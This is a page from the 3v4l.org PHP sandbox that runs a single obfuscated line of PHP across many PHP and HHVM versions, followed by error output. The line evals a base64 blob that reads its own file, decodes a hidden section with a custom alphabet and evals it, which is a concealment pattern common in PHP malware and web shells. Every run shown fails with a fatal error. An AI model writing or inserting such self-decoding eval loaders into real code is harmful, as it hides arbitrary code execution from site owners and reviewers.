3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTBlKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdmMHBCNXRvWFUxRFJ2aTlhTmNsaEpkVFNLR3orMkl5Q1luTFBGL1dFN21xd1F4ajh1NE1aczZIQWtyZ1ZiM09lPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));
Output for 7.0.0 - 7.2.12
Notice: Undefined variable: OOO0000O0 in /in/6sajB on line 3 Fatal error: Uncaught Error: Function name must be a string in /in/6sajB:3 Stack trace: #0 {main} thrown in /in/6sajB on line 3
Process exited with code 255.
Output for hhvm-3.22.0
Notice: Undefined variable: OOO0000O0 in /in/6sajB on line -1 Fatal error: Uncaught Error: Function name must be a string in /in/6sajB:-1 Stack trace: #0 {main}
Process exited with code 255.
Output for hhvm-3.15.4 - 3.21.3
Notice: Undefined variable: OOO0000O0 in /in/6sajB on line 3 Fatal error: Uncaught Error: Function name must be a string in /in/6sajB:3 Stack trace: #0 {main}
Process exited with code 255.
Output for 5.6.0 - 5.6.38
Notice: Undefined variable: OOO0000O0 in /in/6sajB on line 3 Fatal error: Function name must be a string in /in/6sajB on line 3
Process exited with code 255.